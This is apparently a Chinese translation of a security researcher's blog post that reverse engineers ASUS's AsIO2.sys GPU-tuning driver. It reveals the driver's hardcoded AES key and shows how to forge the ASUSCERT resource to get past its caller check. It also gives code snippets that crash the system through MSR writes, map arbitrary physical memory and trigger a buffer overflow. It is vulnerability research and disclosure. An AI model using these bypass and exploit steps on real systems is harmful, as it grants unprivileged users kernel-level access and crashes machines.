我有个朋友买了一台新PC,然后他在GPU上安装了风扇,并将其连接到GPU板上的接头连接器上,不幸的是,在Linux上设置风扇速度似乎并不容易,风扇不旋转。
在Windows上,可以使用ASUS GPU Tweak II。因此,我想将其逆向分析一下了解其工作原理。
https://www.asus.com/supportonly/GPUTweak%20II/HelpDesk_Download
看过各种文件和驱动程序后, AsIO2.sys是一个不错的选择。
作为参考,该版本与GPU Tweak 2.1.7.1版放在一起:
5ae23f1fcf3fb735fcf1fa27f27e610d9945d668a149c7b7b0c84ffd6409d99a AsIO2_64.sys
IDA静态分析
我试图看看Ghidra是否有用,但是由于它不包括WDK类型,所以我还是使用了Hex-Rays。
main函数很简单:
__int64 __fastcall main(PDRIVER_OBJECT DriverObject)
{
NTSTATUS v2; // ebx
struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-28h]
struct _UNICODE_STRING SymbolicLinkName; // [rsp+50h] [rbp-18h]
PDEVICE_OBJECT DeviceObject; // [rsp+70h] [rbp+8h]
DriverObject->MajorFunction[IRP_MJ_CREATE] = dispatch;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = dispatch;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = dispatch;
DriverObject->DriverUnload = unload;
RtlInitUnicodeString(&DestinationString, L"\\Device\\Asusgio2");
v2 = IoCreateDevice(DriverObject, 0, &DestinationString, 0xA040u, 0, 0, &DeviceObject);
if ( v2 < 0 )
return (unsigned int)v2;
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\Asusgio2");
v2 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
if ( v2 < 0 )
IoDeleteDevice(DeviceObject);
return (unsigned int)v2;
}
驱动程序仅注册一个函数,我dispatch为主要事件调用了该函数 ,当然,设备路径也很重要: \\Device\\Asusgio2。
AsIO2.sys它带有一个随附的DLL,它使我们可以更轻松地调用各种函数。
这是清单:
ASIO_CheckReboot
ASIO_Close
ASIO_GetCpuID
ASIO_InPortB
ASIO_InPortD
ASIO_MapMem
ASIO_Open
ASIO_OutPortB
ASIO_OutPortD
ASIO_ReadMSR
ASIO_UnmapMem
ASIO_WriteMSR
AllocatePhysMemory
FreePhysMemory
GetPortVal
MapPhysToLin
OC_GetCurrentCpuFrequency
SEG32_CALLBACK
SetPortVal
UnmapPhysicalMemory
检查一下是否每个人都可以访问它。
设备访问安全
可以在设备创建代码中注意到它是使用IoCreateDevice而不是 使用 IoCreateDeviceSecure创建的,这意味着安全描述符将从注册表(最初是从.inf文件)中获取(如果存在)。
因此,从理论上讲,User都可以访问设备。但是,当尝试获取WinObj中的属性时,即使是admin,也会出现“访问被拒绝”错误。使用WinDbg可以检查安全描述符直接以确认:
0: kd> !devobj \device\asusgio2
Device object (ffff9685541c3d40) is for:
Asusgio2 \Driver\Asusgio2 DriverObject ffff968551f33d40
Current Irp 00000000 RefCount 1 Type 0000a040 Flags 00000040
SecurityDescriptor ffffdf84fd2b90a0 DevExt 00000000 DevObjExt ffff9685541c3e90
ExtensionFlags (0x00000800) DOE_DEFAULT_SD_PRESENT
Characteristics (0000000000)
Device queue is not busy.
0: kd> !sd ffffdf84fd2b90a0 0x1
->Revision: 0x1
->Sbz1 : 0x0
->Control : 0x8814
SE_DACL_PRESENT
SE_SACL_PRESENT
SE_SACL_AUTO_INHERITED
SE_SELF_RELATIVE
->Owner : S-1-5-32-544 (Alias: BUILTIN\Administrators)
->Group : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Dacl :
->Dacl : ->AclRevision: 0x2
->Dacl : ->Sbz1 : 0x0
->Dacl : ->AclSize : 0x5c
->Dacl : ->AceCount : 0x4
->Dacl : ->Sbz2 : 0x0
->Dacl : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl : ->Ace[0]: ->AceFlags: 0x0
->Dacl : ->Ace[0]: ->AceSize: 0x14
->Dacl : ->Ace[0]: ->Mask : 0x001201bf
->Dacl : ->Ace[0]: ->SID: S-1-1-0 (Well Known Group: localhost\Everyone)
[...]
实际上,Everyone应该具有RWE访问权限(0x001201bf)。但是由于某些原因,即使以管理员身份运行,WinObj也会出现“访问被拒绝”错误。
Caller 进程检查
为什么无法打开设备?让我们深入研究该dispatch函数,在开始时,我们可以看到sub_140001EA8调用来确定访问是否会失败。
if ( !info->MajorFunction ) {
res = !sub_140001EA8() ? STATUS_ACCESS_DENIED : 0;
goto end;
}
sub_140001EA8里面有一些有趣的东西,包括函数sub_1400017B8:
[...]
v4 = ZwQueryInformationProcess(-1i64, ProcessImageFileName, v3);
if ( v4 >= 0 )
RtlCopyUnicodeString(DestinationString, v3);
因此,它查询执行请求的进程路径,将其传递给sub_140002620,然后将其读入新分配的缓冲区中:
if ( ZwOpenFile(&FileHandle, 0x80100000, &ObjectAttributes, &IoStatusBlock, 1u, 0x20u) >= 0
&& ZwQueryInformationFile(FileHandle, &IoStatusBlock, &FileInformation, 0x18u, FileStandardInformation) >= 0 )
{
buffer = ExAllocatePoolWithTag(NonPagedPool, FileInformation.EndOfFile.LowPart, 'pPR');
res = buffer;
if ( buffer )
{
memset(buffer, 0, FileInformation.EndOfFile.QuadPart);
if ( ZwReadFile( FileHandle, 0i64, 0i64, 0i64, &IoStatusBlock, res,
FileInformation.EndOfFile.LowPart, &ByteOffset, 0i64) < 0 )
重命名这些函数:check_caller,get_process_name,read_file,get_PE_timestamp
.text:140002DA8 get_PE_timestamp proc near ; CODE XREF: check_caller+B3↑p
.text:140002DA8 test rcx, rcx
.text:140002DAB jnz short loc_140002DB3
.text:140002DAD mov eax, STATUS_UNSUCCESSFUL
.text:140002DB2 retn
.text:140002DB3 ; ---------------------------------------------------------------------------
.text:140002DB3
.text:140002DB3 loc_140002DB3: ; CODE XREF: get_PE_timestamp+3↑j
.text:140002DB3 movsxd rax, [rcx+IMAGE_DOS_HEADER.e_lfanew]
.text:140002DB7 mov ecx, [rax+rcx+IMAGE_NT_HEADERS.FileHeader.TimeDateStamp]
.text:140002DBB xor eax, eax
.text:140002DBD mov [rdx], ecx
.text:140002DBF retn
.text:140002DBF get_PE_timestamp endp
看一下check_call:
res = get_PE_timestamp(file_ptr, &pe_timestamp);
if ( res >= 0 ) {
res = sub_1400028D0(file_ptr, &pos, &MaxCount);
if ( res >= 0 ) {
if ( MaxCount > 0x10 )
res = STATUS_ACCESS_DENIED;
else {
some_data = 0i64;
memmove(&some_data, (char *)file_ptr + pos, MaxCount);
aes_decrypt(&some_data);
diff = pe_timestamp - some_data;
diff2 = pe_timestamp - some_data;
if ( diff2 < 0 )
{
diff = some_data - pe_timestamp;
diff2 = some_data - pe_timestamp;
}
res = STATUS_ACCESS_DENIED;
if ( diff < 7200 )
res = 0;
}
}
}
sub_1400028D0从调用的进程二进制文件中读取一些信息,使用AES解密它,并检查它是否在PE时间戳记的2小时内……
绕过检测
其中一个子函数给了很大的提示:
bool __fastcall compare_string_to_ASUSCERT(PCUNICODE_STRING String1)
{
_UNICODE_STRING DestinationString; // [rsp+20h] [rbp-18h]
RtlInitUnicodeString(&DestinationString, L"ASUSCERT");
return RtlCompareUnicodeString(String1, &DestinationString, 0) == 0;
}
该代码解析调用PE来查找名为ASUSCERT的资源,我们可以在atkexComSvc.exe使用驱动程序的服务中进行验证:
我们可以用openssl来检查解密后的值是否与PE时间戳相对应:
$ openssl aes-128-ecb -nopad -nosalt -d -K AA7E151628AED2A6ABF7158809CF4F3C -in ASUSCERT.dat |hd
00000000 38 df 6d 5d 00 00 00 00 00 00 00 00 00 00 00 00 |8.m]............|
$ date --date="@$((0x5d6ddf38))"
Tue Sep 3 05:34:16 CEST 2019
$ x86_64-w64-mingw32-objdump -x atkexComSvc.exe|grep -i time/date
Time/Date Tue Sep 3 05:34:37 2019
一旦知道了这一点,我们只需要生成具有正确ASUSCERT资源并使用驱动程序的PE即可。
在Linux上为Windows编译
由于我讨厌Visual Studio版本,非常占用内存,在Linux下更加舒适,因此我准备在Debian上编译所有内容。
只需使用安装必需的工具即可apt install mingw-w64。
Makefile包括windres用于编译资源文件的资源,该文件由gcc直接链接!
CC=x86_64-w64-mingw32-gcc
COPTS=-std=gnu99
asio2: asio2.c libAsIO2_64.a ASUSCERT.o
$(CC) $(COPTS) -o asio2 -W -Wall asio2.c libAsIO2_64.a ASUSCERT.o
libAsIO2_64.a: AsIO2_64.def
x86_64-w64-mingw32-dlltool -d AsIO2_64.def -l libAsIO2_64.a
ASUSCERT.o:
./make_ASUSCERT.py
x86_64-w64-mingw32-windres ASUSCERT.rc ASUSCERT.o
笔记:
· 我使用Dll2Def创建了.def
· make_ASUSCERT.py 只是获取当前时间并将其加密以生成 ASUSCERT_now.dat
· ASUSCERT.rc 是一行: ASUSCERT RCDATA ASUSCERT_now.dat
Dll2Def`没有用,可以直接将dll指定为gcc:
$(CC) $(COPTS) -o asio2 -W -Wall asio2.c AsIO2_64.dll ASUSCERT.o
使用 AsIO2.sys
作为普通用户,我们现在可以使用驱动程序提供的所有功能。例如:BSOD通过覆盖IA32_LSTARMSR:
extern int ASIO_WriteMSR(unsigned int msr_num, uint64_t *val);
ASIO_WriteMSR(0xC0000082, &value);
或分配和映射任意物理内存:
value = ASIO_MapMem(0xF000, 0x1000);
printf("MapMem: %016" PRIx64 "\n", value);
hexdump("0xF000", (void *)value, 0x100);
显示如下:
MapMem: 000000000017f000
0xF000
0000 00 f0 00 40 ec f7 ff ff 00 40 00 40 ec f7 ff ff ...@.....@.@....
0010 cb c8 44 0e 00 00 00 00 46 41 43 50 f4 00 00 00 ..D.....FACP....
0020 04 40 49 4e 54 45 4c 20 34 34 30 42 58 20 20 20 .@INTEL 440BX
0030 00 00 04 06 50 54 4c 20 40 42 0f 00 00 30 f7 0f ....PTL @B...0..
0040 b0 e1 42 0e 00 00 09 00 b2 00 00 00 00 00 00 00 ..B.............
0050 40 04 00 00 00 00 00 00 44 04 00 00 00 00 00 00 @.......D.......
0060 00 00 00 00 48 04 00 00 4c 04 00 00 00 00 00 00 ....H...L.......
漏洞挖掘
BSOD并读取resources
如反编译代码所示, 资源条目的OffsetToData字段将ASUSCERT添加到节的偏移量中,并且在读取资源值时将被取消引用。
if ( compare_string_to_ASUSCERT(&String1) )
{
ASUSCERT_entry_off = next_dir->entries[j].OffsetToData;
LODWORD(ASUSCERT_entry_off) = ASUSCERT_entry_off & 0x7FFFFFFF;
ASUSCERT_entry = (meh *)((char *)rsrc + ASUSCERT_entry_off);
if ( (ASUSCERT_entry->entries[j].OffsetToData & 0x80000000) == 0 )
{
ASUSCERT_off = ASUSCERT_entry->entries[0].OffsetToData;
*res_size = *(unsigned int *)((char *)&rsrc->Size + ASUSCERT_off);
if ( *(DWORD *)((char *)&rsrc->OffsetToData + ASUSCERT_off) )
v25 = *(unsigned int *)((char *)&rsrc->OffsetToData + ASUSCERT_off)
+ sec->PointerToRawData
- (unsigned __int64)sec->VirtualAddress;
else
v25 = 0i64;
*asus_cert_pos = v25;
res = 0;
break;
}
}
因此,将设置OffsetToData为较大的值将触发越界读取和BSOD:
*** Fatal System Error: 0x00000050
(0xFFFF82860550C807,0x0000000000000000,0xFFFFF8037D4F3140,0x0000000000000002)
Driver at fault:
*** AsIO2.sys - Address FFFFF8037D4F3140 base at FFFFF8037D4F0000, DateStamp 5cac6cf4
0: kd> kv
# RetAddr : Args to Child : Call Site
00 fffff803`776a9942 : ffff8286`0550c807 00000000`00000003 : nt!DbgBreakPointWithStatus
[...]
06 fffff803`7d4f3140 : fffff803`7d4f1fb3 00000000`00000000 : nt!KiPageFault+0x360
07 fffff803`7d4f1fb3 : 00000000`00000000 ffff8285`05514000 : AsIO2+0x3140
08 fffff803`7d4f1b96 : 00000000`c0000002 00000000`00000000 : AsIO2+0x1fb3
09 fffff803`7750a939 : fffff803`77aaf125 00000000`00000000 : AsIO2+0x1b96
0a fffff803`775099f4 : 00000000`00000000 00000000`00000000 : nt!IofCallDriver+0x59
[...]
15 00000000`0040176b : 00007ffe`fa041b1c 00007ffe`ebd2a336 : AsIO2_64!ASIO_Open+0x45
16 00007ffe`fa041b1c : 00007ffe`ebd2a336 00007ffe`ebd2a420 : asio2_rsrc_bsod+0x176b
AsIO2+0x1fb3是紧接在memmove地址的地址:
memmove(&ASUSCERT, (char *)file_ptr + asus_cert_pos, MaxCount);
decrypt(&ASUSCERT);
缓冲区溢出
该UnMapMem函数容易受到驱动程序可能具有的缓冲区溢出漏洞的影响:
map_mem_req Dst; // [rsp+40h] [rbp-30h]
[...]
v15 = info->Parameters.DeviceIoControl.InputBufferLength;
memmove(&Dst, Irp->AssociatedIrp.SystemBuffer, size);
可以通过以下简单的方式触发:
#define ASIO_UNMAPMEM 0xA0402450
int8_t buffer[0x48] = {0};
DWORD returned;
DeviceIoControl(driver, ASIO_UNMAPMEM, buffer, sizeof(buffer),
buffer, sizeof(buffer),
&returned, NULL);
由于堆栈cookie验证,较小的缓冲区将触发BugCheck,而较长的缓冲区(4096)将仅触发读取的边界:
*** Fatal System Error: 0x00000050
(0xFFFFD48D003187C0,0x0000000000000002,0xFFFFF806104031D0,0x0000000000000002)
Driver at fault:
*** AsIO2.sys - Address FFFFF806104031D0 base at FFFFF80610400000, DateStamp 5cac6cf4
0: kd> kv
# RetAddr : Args to Child : Call Site
00 fffff806`0c2a9942 : ffffd48d`003187c0 00000000`00000003 : nt!DbgBreakPointWithStatus
[...]
06 fffff806`104031d0 : fffff806`10401a0a ffffc102`cef7a948 : nt!KiPageFault+0x360
07 fffff806`10401a0a : ffffc102`cef7a948 ffffe008`00000000 : AsIO2+0x31d0
08 fffff806`0c10a939 : ffffc102`cc0f9e00 00000000`00000000 : AsIO2+0x1a0a
09 fffff806`0c6b2bd5 : ffffd48d`00317b80 ffffc102`cc0f9e00 : nt!IofCallDriver+0x59
0a fffff806`0c6b29e0 : 00000000`00000000 ffffd48d`00317b80 : nt!IopSynchronousServiceTail+0x1a5
0b fffff806`0c6b1db6 : 00007ffb`3634e620 00000000`00000000 : nt!IopXxxControlFile+0xc10
0c fffff806`0c1d3c15 : 00000000`00000000 00000000`00000000 : nt!NtDeviceIoControlFile+0x56
0d 00007ffb`37c7c1a4 : 00007ffb`357d57d7 00000000`00000018 : nt!KiSystemServiceCopyEnd+0x25
0e 00007ffb`357d57d7 : 00000000`00000018 00000000`00000001 : ntdll!NtDeviceIoControlFile+0x14
Bug:broken的64位代码
该AllocatePhysMemory函数在64位上中断:
alloc_virt = MmAllocateContiguousMemory(*systembuffer_, (PHYSICAL_ADDRESS)0xFFFFFFFFi64);
HIDWORD(systembuffer) = (_DWORD)alloc_virt;
LODWORD(systembuffer) = MmGetPhysicalAddress(alloc_virt).LowPart;
*(_QWORD *)systembuffer_ = systembuffer;
MmAllocateContiguousMemory 返回64位值,但是代码将其截断为32位,然后再将其返回到用户区,这可能稍后会触发BSOD。
参考资料
https://www.secureauth.com/labs/advisories/asus-drivers-elevation-privilege-vulnerabilities
https://gist.github.com/hfiref0x/585e22bc50f07c4baf0d5f6b7fcba0f9
参考及来源:https://syscall.eu/blog/2020/03/30/asus_gio/